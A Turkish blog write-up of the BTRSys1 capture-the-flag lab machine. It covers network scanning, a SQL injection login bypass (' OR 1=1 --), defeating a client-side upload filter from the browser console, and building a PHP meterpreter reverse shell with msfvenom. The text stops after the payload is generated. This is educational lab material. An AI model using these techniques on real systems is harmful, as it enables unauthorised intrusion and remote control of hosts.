Post

BTRisk BTRSys1 CTF: SQL Injection, File Upload ve Reverse Shell (Türkçe)

BTRisk'in BTRSys1 boot2root makinesinde adım adım CTF çözümü: ağ keşfi, SQL Injection ile giriş, dosya yükleme zafiyeti, reverse shell ve root yetkisi alma süreçleri.

BTRisk BTRSys1 CTF: SQL Injection, File Upload ve Reverse Shell (Türkçe)

📝 Yasal Uyarı

Bu yazı, yalnızca eğitim amaçlıdır. Burada öğrenilen bilgilerin kötüye kullanılması yasalara aykırıdır. Lütfen bu bilgileri yalnızca güvenlik eğitimi ve savunma amaçlı kullanın. Kötü niyetli kullanımlar yasal sonuçlar doğurabilir.

📋 BTRSys: v1 Ayrıntıları

  • İsim: BTRSys: v1
  • Yayın Tarihi: 8 Haziran 2017
  • Yazar: ismailonderkaya
  • Blog: blog.btrisk.com
  • Seri: BTRSys
  • Dosya adı: BTRSys1.rar
  • Boyut: 776 MB
  • Google Drive
  • Ayna (VulnHub)
  • Makine Adı: BTRSys1
  • IP: DHCP (otomatik atanır)
  • Zorluk Seviyesi: Başlangıç / Orta
  • Format: Sanal Makine (VMware)
  • Açıklama (Türkçe): Bu bir boot2root makinesidir ve özellikle yeni başlayanlar için öğretici olacak şekilde hazırlanmıştır.
  • Açıklama (English): This is a boot2root machine particularly educational for beginners. Follow us for next BTRSys systems. We hope you enjoy it!
  • MD5: 7C63774B2B4AF9FF7CD9A4CF28EE6363
  • SHA1: 4599A5BD08C226D24DF86DE0851A38BE9E7B32DF
  • İşletim Sistemi: Linux

🛠️ Hazırlık

İndirdiğimiz dosyayı bütünlüğünü doğruladıktan sonra (MD5) unrar x BTRsys1.rar yaparak çıkaralım.

1
2
3
4
5
6
[fr0stb1rd@archlinux BTRsys1]$ ls -lh
total 799M
-rw-r--r-- 1 fr0stb1rd fr0stb1rd 799M May 24  2017 BTRsys1-disk1.vmdk
-rw-r--r-- 1 fr0stb1rd fr0stb1rd  127 May 24  2017 BTRsys1.mf
-rw-r--r-- 1 fr0stb1rd fr0stb1rd 5.2K May 24  2017 BTRsys1.ovf
[fr0stb1rd@archlinux BTRsys1]$ 

VirtualBox veya VMWare (önerilen) ile ovf dosyasını içe aktaralım ve çalıştıralım. (Ağ olarak NAT seçelim)

kendi makinamız (archlinux) ile sanal makinanın ip adreslerinin aynı ağda olması gerek. ona direkt erişimimiz olması için. bu nedenle önce kendi ip adresimizi öğrenelim:

1
2
3
4
5
6
7
8
[fr0stb1rd@archlinux ~]$ ip addr show wlan0 
2: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.111/24 brd 192.168.1.255 scope global dynamic noprefixroute wlan0
       valid_lft 81709sec preferred_lft 81709sec
    inet6 fe80::3ce0:3ef9:faec:4b20/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
[fr0stb1rd@archlinux ~]$ 

ana makinamız 192.168.1.111/24 adresine bağlı. Sanal makinamızın bu aralıkta olup olmadığına bakalım:

sudo netdiscover -r 192.168.1.0/24

1
2
3
4
5
6
7
8
9
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                 
                                                                                                                               
 30 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 1296                                                             
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.1.119   00:00:00:01:01:01      1      42  PCS Systemtechnik GmbH
 192.168.1.1     00:00:00:02:02:02      1      42  Sekademi Cybersecurity
 192.168.1.120   00:00:00:03:03:03      4     168  PCS Systemtechnik GmbH

burada 192.168.1.120 adresi dikkat çektiği için nmap ile bakalım.

🔎 nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[fr0stb1rd@archlinux ~]$ sudo nmap -Pn -sV -O 192.168.1.120
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-24 03:47 +0300
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.1.120
Host is up (0.00039s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 00:00:00:03:03:03 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.51 seconds
[fr0stb1rd@archlinux ~]$ 

🌐 HTTP

http (80) portu açık. bu da http isteklerine yanıt verecek? anlamına geliyor:

ℹ️ Hakkımızda

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
Pentest (Sızma Testi) Hizmetleri
Pentest Nedir
İhtiyaç
Çözüm
BTRisk Metodu
BTRisk Bakış Açısı
Bilgi Güvenliği ve BT Yönetişim Hizmetleri
Bilgi Güvenliği Operasyon Hizmetleri
Danışmanlık Hizmetleri
Yük Testi Hizmetleri
Hizmetlerimiz > Pentest (Sızma Testi) Hizmetleri > Pentest Nedir
Pentest (Sızma Testi) Hizmetleri
Pentest Nedir

En kısa tanımıyla pentest (sızma testi) test kapsamındaki sistem veya sistemleri ele geçirmeye yönelik test aktiviteleridir. Pentest "penetration test" ifadesinin kısaltılmış halidir. Türkçe karşılığı olarak "sızma testi kullanılır.

Testi gerçekleştiren kişiler belirli saldırgan profillerini simüle ederler. Tehdit olarak anonim, yani sistemlere herhangi bir yetkili erişim hakkı bulunmayan bir profil genellikle tüm pentestlerde kullanılır. Bazı durumlarda sistemlere kullanıcı olarak erişen müşteri ve/veya sistem yönetim haklarına sahip olmayan personel profilleri de testlerde kullanılır.

Pentest aktiviteleri bir ağ erişimi ile başlar, ancak pentest süreçleri içinde sistemlere adım atıldıkça sistemler üzerindeki saldırı aktiviteleri ile devam edebilir. Bazı durumlarda sistemlere düşük haklara sahip bir kullanıcının hakları ile erişim sağlanabilir. Bu durumda pentestçi (pentester) bu erişim sayesinde edindiği bilgileri veya sağladığı erişim sayesinde kullanabileceği bir lokal açıklığı (yani sadece sisteme erişildiğinde kullanılabilecek bir açıklığı) kullanarak haklarını yükseltmeyi hedefler. Çünkü hedef her zaman sistemin tam olarak (yani yönetici hakları ile) ele geçirilmesidir.

Teknik olarak pentest projelerinin sistem veya sistemlerin ele geçirildiğinde sonlanması gerekir. Bu durumda pentesti yaptıran taraf başka ciddi açıklıklar bulunup bulunmadığından emin olamayabilir. Bu nedenle genellikle pentest projelerinde belli bir kapsamdaki sistemlerin açıklık denetimlerinin de (vulnerability assessment) yapılmasını içerir. Bu iki hedef çoğu durumda çelişebilir, çünkü pentest projesi belli bir alana odaklanmayı ve pekçok durumda ek araştırmayı gerektirir. Projenin zaman kısıtı ve açıklık denetiminin de tüketeceği zaman nedeniyle pentest faaliyetleri olabileceği kadar ilerletilemeyebilir.

Penetration test aktiviteleri ele geçirilen sistemlere saldırı amaçlı araçların yüklenmesini, sistemlere karşı sistem bütünlüğünü bozabilecek ve hatta sistemlerde hizmet kesintine yol açabilecek müdahalelerin yapılmasını içerir. Bu durum sistem bütünlüğü ve hizmet sürekliliği açısından risk doğurur. Bu risk kaçınılmazdır, ancak test zamanlaması, sistem yöneticileri ile koordinasyon, kimi durumlarda test öncesinde yedek alınması ve testi yapan kişilerin yetkinlik düzeylerinin yüksek olması gibi faktörlerle risk azaltılmaya çalışılmalıdır. Varolduğundan şüphelenilen açıklıkların sömürülmesinin (exploit edilmesinin) riskli olduğu durumlarda mutlaka kurum yönetiminin onayı alınmalıdır.

Pentest Nasıl Yapılır

Pentest'in ilk adımı bilgi toplama safhasıdır. Hedeflenen ağ hakkında iki ana tür bilgi toplama yöntemi mevcuttur. Bunlardan birincisisi özellikle hedeflenen ağın internete açık olduğu durumlarda çevrim dışı (offline) yöntemdir. Çevrim dışı yöntemde kurumun IP aralıkları ve alan adı kayıtları ilgili bağımsız veritabanlarından sorgulanır, arama motorlarının hedeflenen ağa ilişkin indekslediği bilgiler sorgulanır. Sosyal mühendislik testleri gerçekleştirilecekse bu amaca yönelik bilgiler de sosyal ağ uygulamalarından ve yine arama motorlarından faydalanılarak toplanır. Tam olarak çevrim dışı olmasa da kuruma ilişkin isim kayıtlarının sorgulanması (yani DNS sorguları) aracılığıyla bilgi toplama işlemi de bu yöntemin parçası olarak sayılabilir.

İkinci yöntem çevrim içi (online) bilgi toplama yöntemidir. Bu yöntemde hedeflene ağ üzerindeki sistemler ile iletişim kurulmaya başlanır, dolayısıyla farkedilmeye başlanırsınız. Çevrim içi yapılan sorgular ile canlı sistemler ve bu sistemler üzerinde çalışan servisler daha da netleştirilir.

Bilgi toplama adımından sonra servis ve kullanıcı inceleme (enumeration) adımı başlar. Bu adımda çalışan servislerin arkasındaki teknolojiler, bu teknolojilerin üreticileri ve versiyonları tespit edilir. Ayrıca öntanımlı veya tespit edilebilen servis kullanıcıları da bu adımda belirlenir.

Tespit edilen servisler ile ilgili yayınlanmış açıklıklar açıklık veritabanlarından araştırılır. Web teknolojilerinde ise genellikle özel fonksiyonlar ve servisler ile karşılaşılacağından manuel olarak web teknolojilerine özel açıklıkların incelenmesinde fayda bulunmaktadır.

Servis ve kullanıcı inceleme adımından sonra bilinen veya test sırasında tespit edilen açıklıklar için yayınlanmış olan örnek sömürü kodları (exploit code) ve pentest şirketinin kendi geliştirdiği kodlar değerlendirilir. Daha önce de belirtildiği gibi sömürü kodları sistemin bütünlüğünü bozabileceği için gerekli onay süreci işletilerek denenmelidir.

Tespit edilen ön tanımlı kullanıcılar için öntanımlı parolalar denenir, öntanımlı ve diğer kullanıcılar için parola kırma saldırısı pentest proje planı dikkate alınarak planlanabilir ve gerçekleştirilebilir. Bu testlerde parola politikaları da dikkate alınmalıdır. Aksi takdirde hesapların kilitlenmesi operasyonel kesinti ile sonuçlanabilir.

Hedef sistemlere adım atılabildiği durumlarda bir sonraki aşama sistemin tamamen ele geçirilmesi olacaktır. Bu amaçla sisteme eriştikten sonra elde edilen bilgiler değerlendirilir ve sistem üzerinde sömürülebilecek lokal açıklıklar yine açıklık veritabanlarından araştırılır. Bu ek adımlar ile sistem tam olarak ve sistem yöneticisi hakları ile ele geçirilmeye çalışılır.

Sistemlerin ele geçirildiği durumlarda proje planına bağlı olarak ele geçirilen noktalardan diğer sistemlere daha avantajlı saldırılar yapma imkanları değerlendirilebilir.

Son olarak raporlama aşamasında tespit edilen açıklıklar ve bunların giderilme yöntemleri raporlanır. Raporun katma değerinin artırılması amacıyla mimari ve süreçsel açılardan alınması gereken önlemler ve izlenmesi gereken stratejiler de belirtilebilir. Çünkü tespit edilen açıklıklar genellikle bu eksikliklerin semptomları olacaktır.

Pentest Şirketi Seçimi

Pentest faaliyeti bir denetim faaliyeti olup teknik olarak derin bir alandır. Bu nedenle teknik yetkinlik son derece önemlidir. Bu konuda kurum hakkında çeşitli kanallardan bilgi edinilebilir, ancak en değerli bilgi şirketle doğrudan çalışmış diğer kurumlardan veya şirketin denenmesi usulüyle elde edilebilir.

İkinci, ancak en az birinci faktör kadar önemli olan bir diğer faktör bağımsızlıktır. Pentest sürecinde çalıştığınız şirketin eriştiği ve elde ettiği bilgiler son derece hassastır. Bu nedenle teknik yetkinlik kadar bu şirketin bağımsızlığı da çok titiz biçimde sorgulanmalıdır. Şirketlerin açık veya gizli biçimde çeşitli taraflarla olan bağlantıları hafife alınmamalı, pentest sırasında elde edilecek bilgilerin kurum aleyhine kullanılma ihtimalleri ciddi biçimde değerlendirilmelidir.

Bağımsızlıkla da ilgili olan üçüncü faktör ise iş ahlakıdır. Pentest hizmeti aldığınız bir firmanın belli bir süre sonra sizinle ilgili siber istihbarat bilgisi elde ettiklerini söyleyerek size yaklaşmaları ve kritik bir açıklığı size bildirmeleri şüphe ile karşılanmalıdır. Bu tür bir bulgu pentest sırasında elde edilmiş ancak sizinle paylaşılmamış olabilir. Pentest sırasında elde edilen bilgilerin farkında olarak veya olmayarak farklı müşterilerde pazarlama aracı olarak kullanılması da maalesef görülebilmektedir.

Pentest Faaliyetlerinin Periyodu

Her denetim aktivitesinde olduğu gibi pentest (sızma testi) hizmeti de bir risk değerlendirmesi sonucunda planlanmalıdır. Risk değerlendirmesinde ilgili sistemlerin kurum açısından kritikliği, sisteme erişen kullanıcı ve bağlı ağların güvenilirlik düzeyleri dikkate alınmalıdır. Çok kritik sistemler için herhangi bir değişiklik olmasa dahi açıklıkların sürekli olarak keşfedildiği dikkate alınarak periyodik pentest yaptırılmalıdır.

Sayfaları incelediğimizde yalnızca iki tanesine ulaşabiliyoruz. Bağlantısı doğrudan verilmemiş dizinleri keşfetmeyi deneyelim:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[fr0stb1rd@archlinux ~]$ nikto -h 192.168.1.120
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.1.120
+ Target Hostname:    192.168.1.120
+ Target Port:        80
+ Start Time:         2025-08-24 04:05:04 (GMT3)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ /: Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.21.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least 2.4.57). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /login.php: Admin login page/section found.
+ 8101 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2025-08-24 04:05:10 (GMT3) (6 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
[fr0stb1rd@archlinux ~]$ 
  • Sunucu: Apache/2.4.7 (Ubuntu), oldukça eski bir sürüm.
  • PHP sürümü: 5.5.9-1ubuntu4.21 (güncel değil).
  • Güvenlik başlıkları eksik:

    • X-Frame-Options (clickjacking’e karşı koruma yok)
    • X-Content-Type-Options (MIME-sniffing riski var)
  • Şüpheli/ilginç dosyalar:

    • /config.php -> Veritabanı kullanıcı adı/şifre içerebilir. (Ancak boş görünüyor)
    • /login.php -> Yönetici giriş sayfası.
    • /icons/README -> Apache varsayılan dosyası (gereksiz erişim).
  • Sunucu gereksiz HTTP methodlarına yanıt veriyor.

En kritik bulgu: login.php dosyası incelenmeli.

🔑 Login

Normal bir login sayfası. Sayfada herhangi bir ipucu görünmüyor. Bir de kaynak koduna bakalım:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
<!DOCTYPE html>

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>

<style>
body{
  background-color: #1cbb9b;
}
.login-box{
  position:relative;
  margin: 10px auto;
  width: 500px;
  height: 380px;
  background-color: #fff;
  padding: 10px;
  border-radius: 3px;
  -webkit-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.33);
-moz-box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.33);
box-shadow: 0px 2px 3px 0px rgba(0,0,0,0.33);
}
.lb-header{
  position:relative;
  color: #00415d;
  margin: 5px 5px 10px 5px;
  padding-bottom:10px;
  border-bottom: 1px solid #eee;
  text-align:center;
  height:28px;
}
.lb-header a{
  margin: 0 25px;
  padding: 0 20px;
  text-decoration: none;
  color: #666;
  font-weight: bold;
  //her bosluk birer tırnaktır.
  font-size: 15px;
  -webkit-transition: all 0.1s linear;
  -moz-transition: all 0.1s linear;
  transition: all 0.1s linear;
}
.lb-header .active{
  color: #029f5b;
  font-size: 18px;
}
.social-login{
  position:relative;
  float: left;
  width: 100%;
  height:auto;
  padding: 10px 0 15px 0;
  border-bottom: 1px solid #eee;
}
.social-login a{
  position:relative;
  float: left;
  width:calc(40% - 8px);
  text-decoration: none;
  color: #fff;
  border: 1px solid rgba(0,0,0,0.05);
  padding: 12px;
  border-radius: 2px;
  font-size: 12px;
  text-transform: uppercase;
  margin: 0 3%;
  text-align:center;
}
.social-login a i{
  position: relative;
  float: left;
  width: 20px;
  top: 2px;
}
.social-login a:first-child{
  background-color: #49639F;
}
.social-login a:last-child{
  background-color: #DF4A32;
}
.email-login,.email-signup{
  position:relative;
  float: left;
  width: 100%;
  height:auto;
  margin-top: 20px;
  text-align:center;
}
.u-form-group{
  width:100%;
  margin-bottom: 10px;
}
.u-form-group input[type="email"],
.u-form-group input[type="password"]{
  width: calc(50% - 22px);
  height:45px;
  outline: none;
  border: 1px solid #ddd;
  padding: 0 10px;
  border-radius: 2px;
  color: #333;
  font-size:0.8rem;
  -webkit-transition:all 0.1s linear;
  -moz-transition:all 0.1s linear;
  transition:all 0.1s linear;
}
.u-form-group input:focus{
  border-color: #358efb;
}
.u-form-group button{
  width:50%;
  background-color: #1CB94E;
  border: none;
  outline: none;
  color: #fff;
  font-size: 14px;
  font-weight: normal;
  padding: 14px 0;
  border-radius: 2px;
  text-transform: uppercase;
}
.forgot-password{
  width:50%;
  text-align: left;
  text-decoration: underline;
  color: #888;
  font-size: 0.75rem;
}

@media only screen and (max-width: 500px) {
    .login-box {
        width: 100%;
    }


</style>
<script>
$(".email-signup").hide();
$("#signup-box-link").click(function(){
  $(".email-login").fadeOut(100);
  $(".email-signup").delay(100).fadeIn(100);
  $("#login-box-link").removeClass("active");
  $("#signup-box-link").addClass("active");
});
$("#login-box-link").click(function(){
  $(".email-login").delay(100).fadeIn(100);;
  $(".email-signup").fadeOut(100);
  $("#login-box-link").addClass("active");
  $("#signup-box-link").removeClass("active");
});
</script>





 <div class="login-box">
    <div class="lb-header">
      <a href="#" class="active" id="login-box-link">Giris Yap</a>
    </div>
   <form method="Post" name="loginform" action="personel.php" class="email-login">
      <div class="u-form-group">
        <input type="email" id="user" name="kullanici_adi" placeholder="Kullanici Adi" required/> 
      </div>
      <div class="u-form-group">
        <input type="password" id="pwd" name="parola" placeholder="Parola" required/>
      </div>
      <div class="u-form-group">
      	<input type="button" value="Giris" onclick="control();" />
      </div>
   
    </form>
  </div>
  
  <script type="text/javascript">
	
function control(){
	var user = document.getElementById("user").value;
    var pwd = document.getElementById("pwd").value;

	var str=user.substring(user.lastIndexOf("@")+1,user.length);
    
    if((pwd == "'")){
		alert("Hack Denemesi !!!");
		
    }
	else if (str!="btrisk.com"){
		alert("Yanlis Kullanici Bilgisi Denemektesiniz");
	
	}	
	else{
		
      document.loginform.submit();
    }
}
</script>

Sayfanın kaynak kodunda giriş kontrolünün tarayıcı üzerinde çalışan bi javascript ile yapıldığını görüyoruz. Buna göre,

  • eğer parola kısmına tek tırmak atarsanız (‘) ekrana “Hack denemesi” yazarak hata verecek.
  • eğer kullanıcı adı btrisk.com ile bitmiyorsa, “Yanlış kullanıcı bilgisi denemektesiniz” hatası alıyoruz.
  • bunların hiçbiri değilse, formumuz personel.php sayfasına POST methodu ile gönderiliyor.
  • user = fr0stb1rd@btrisk.com
  • pwd = 123 (herhangi bir şifre ama tek tırnak değil)

Açılan sayfada herhangi bir bilgi göremiyoruz:

Sayfa kaynağı:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
 <!-- Bootstrap core CSS -->
        <link href="assets/css/bootstrap.css" rel="stylesheet">
        <!--external css-->
        <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" />
        <link rel="stylesheet" type="text/css" href="assets/css/zabuto_calendar.css">
        <link rel="stylesheet" type="text/css" href="assets/js/gritter/css/jquery.gritter.css" />
        <link rel="stylesheet" type="text/css" href="assets/lineicons/style.css">

        <!-- Custom styles for this template -->
        <link href="assets/css/style.css" rel="stylesheet">
        <link href="assets/css/style-responsive.css" rel="stylesheet">



<div class="col-md-12">

            <div class="content-panel">
                <h4><i class="fa fa-angle-right"></i> Kisi Ozluk Bilgileri</h4>
                <hr>
                <table class="table">
                    <thead>
                    <tr>
                        <th>Kisi Adi</th> <br/>
                        <th>Baba Adi</th>
                        <th>Baba Meslegi</th>
                        <th>Anne Adi</th>
						<th>Anne Meslegi</th>
						<th>Kardes Sayisi</th>
						<th>Dosya Yukle</th>

                    </tr>
		                          </thead>
                    <tbody>
                        
		                         </tbody> 
                </table>
            </div>
        </div>
		
		<script type="text/javascript">
		// accept=".jpg,.png"
function getFile(){
    var filename = document.getElementById("dosya").value;
    var sonuc = ((/[.]/.exec(filename)) ? /[^.]+$/.exec(filename) : undefined);
    if((sonuc == "jpg") || (sonuc == "gif") || (sonuc == "png")){
		document.myform.submit();
    }else{
        //mesaj
        alert("Yanlizca JPG,PNG dosyalari yukleyebilirsiniz.");
		return false;
		
		
    }
}
</script>
  • Sayfaya herhangi bir POST verisi göndermeden bağlandığımızda şu hata ile karşılaşıyoruz:
    1
    
     Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, null given in /var/www/html/personel.php on line 67
    
  • personel.php dosyasının 67. satırında kullanılan mysqli_fetch_row() fonksiyonu, en az bir satır döndürmesi beklenen mysqli_result() nesnesini parametre olarak alıyor. Ancak POST verisi gönderilmediğinde sorgu çalışmadığı için bu fonksiyona null geliyor ve hata oluşuyor.
  • Bu hata mesajından, uygulamanın MySQL veritabanı kullandığı ve beklenmeyen durumlarda (örneğin boş POST verisi) uygun bir hata yönetiminin yapılmadığı anlaşılıyor.
  • Test sırasında şu giriş bilgileri kullanıldı:
    • Kullanıcı adı: 'fr0stb1rd@btrisk.com
    • Parola: 123
  • Bu girişle birlikte şu uyarı mesajı oluşuyor:
    1
    
     Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/personel.php on line 67
    
  • Buradaki hata, fonksiyona mysqli_result nesnesi yerine boolean (true/false) değer döndürüldüğünü gösteriyor. Bu durum genellikle, SQL sorgusunda hata olduğunda ortaya çıkar.
  • Özellikle tırnak ' işaretinin filtrelenmeden doğrudan SQL sorgusuna gönderildiği görülüyor. Bu da uygulamada SQL Injection zafiyetine işaret ediyor.

💉 SQL Injection

  • Formdan gönderilen verilerin aşağıdaki gibi bir SQL sorgusu ile işlendiğini görmek zor değil:

    1
    
     SELECT * FROM tablo_adi WHERE user='<ornekornek>'
    
  • Kullanıcı adı alanına şu ifadeyi girdiğimizde:

    1
    
     ' OR 1=1 -- fr0stb1rd@btrisk.com
    

    sorgu, tüm satırları döndürecek hale geliyor.

  • Çift tire (--) sonrası kısım SQL’de yorum kabul edildiğinden, sorgunun geri kalanı çalıştırılmıyor. Böylece veritabanına gönderilen gerçek sorgu şu hale dönüşüyor:

    1
    
     SELECT * FROM tablo_adi WHERE user="" OR 1=1 -- fr0stb1rd@btrisk.com
    
  • Bu sorgu koşulsuz olarak tüm kayıtları getirdiği için, uygulama tarafında özlük bilgileri sayfasında iki kaydın listelendiği görülüyor.

Kisi AdiBaba AdiBaba MeslegiAnne AdiAnne MeslegiKardes SayisiDosya Yukle
ismail kayaahmetmuhasebenazlilokantaci5 
can demirmahmutmemurgulsahtuhafiyeci8 

📁 Dosya Yükleme

Uygulamada bir dosya yükleme butonu bulunuyor. Browse butonuna tıklandığında açılan pencerede yalnızca .jpg ve .png dosyalarının kabul edildiği görülüyor.

Masaüstündeki bir .php dosyasını yüklemeyi denediğimizde bu hata dönüyor:

1
Yanlizca JPG,PNG dosyalari yukleyebilirsiniz.

Bir .jpg dosyasını yüklediğimizde, tarayıcı http://192.168.1.120/gonder.php adresine yönlendiriyor.

Dönen HTML içeriği:

1
Dosya yuklendi!

Dosya başarıyla yüklenmiş görünüyor fakat dosyanın nerede tutulduğu veya işlenip işlenmediği hakkında herhangi bir bilgi verilmiyor.

Bu noktada dosyanın kaydedildiği dizini bulmak için dizin taraması yapılması gerekiyor. Bunun için dirb aracını kullanabiliriz. Kendi hazır kelime listesini kullanarak hedef sunucu üzerinde dizin ve dosya taraması yapar.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
[fr0stb1rd@archlinux ~]$ dirb http://192.168.1.120

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Aug 24 04:56:07 2025
URL_BASE: http://192.168.1.120/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.120/ ----
==> DIRECTORY: http://192.168.1.120/assets/                                                                                    
+ http://192.168.1.120/index.php (CODE:200|SIZE:758)                                                                           
==> DIRECTORY: http://192.168.1.120/javascript/                                                                                
+ http://192.168.1.120/server-status (CODE:403|SIZE:293)                                                                       
==> DIRECTORY: http://192.168.1.120/uploads/                                                                                   
                                                                                                                               
---- Entering directory: http://192.168.1.120/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                               
---- Entering directory: http://192.168.1.120/javascript/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                               
---- Entering directory: http://192.168.1.120/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Sun Aug 24 04:56:07 2025
DOWNLOADED: 4612 - FOUND: 2
[fr0stb1rd@archlinux ~]$ 

Erişilebilen dosyalar/dizinler şunlar:

  • index.php (200 OK, boyut: 758 bayt)
  • /assets/ (listelemeye açık)
  • /javascript/ (listelemeye açık)
  • /uploads/ (listelemeye açık)
  • /server-status (403 Forbidden)

/uploads dizini:

Az önce yüklediğimiz .jpg dosyası bu dizinde bulunuyor.

Sayfanın kaynak kodu:

1
2
3
4
5
6
7
8
9
10
11
12
13
function getFile(){
    var filename = document.getElementById("dosya").value;
    var sonuc = ((/[.]/.exec(filename)) ? /[^.]+$/.exec(filename) : undefined);
    if((sonuc == "jpg") || (sonuc == "gif") || (sonuc == "png")){
		document.myform.submit();
    }else{
        //mesaj
        alert("Yanlizca JPG,PNG dosyalari yukleyebilirsiniz.");
		return false;
		
		
    }
}

Buradan anlıyoruz ki sadece istemci tarafında dosya uzantısı kontrolü yapılıyor.

Tanrıya emanet security - Can Değer

Firefox -> Console:

1
document.getElementById("dosya").onchange = function() { document.myform.submit(); };

bu şekilde ilgili fonksiyonun üzerine yazmış ve tüm istemci taraflı dosya uzantısı kontrolünü kaldırmış oluyoruz:

Herhangi bir php dosyasını yüklemeye çalışalım.

1
Dosya yüklendi.

Şimdi uploads dizinine geri gidelim:

1
2
3
4
5
6
7
Warning: include(navbar.php): failed to open stream: No such file or directory in /var/www/html/uploads/index.php on line 1

Warning: include(): Failed opening 'navbar.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/html/uploads/index.php on line 1

Warning: include(footer.php): failed to open stream: No such file or directory in /var/www/html/uploads/index.php on line 2

Warning: include(): Failed opening 'footer.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/html/uploads/index.php on line 2

Saçma sapan bir index.php seçtiğim için dizini bozmuş bulunmaktayız. ancak dosya yüklenmiş.

🐚 Reverse Shell

Reverse Shell oluşturalım.

1
2
LHOST= <kendi IP adresimiz (archlinux)>
LPORT= <bağlantı yapacağımız portumuz>

php/meterpreter_reverse_tcp kullanalım:

1
2
3
4
5
6
[fr0stb1rd@archlinux ~]$ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.111 LPORT=4444 -f raw > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 34926 bytes
[fr0stb1rd@archlinux ~]$ 

Dosya shell.php adıyla kaydedildi:

1
2
3
4
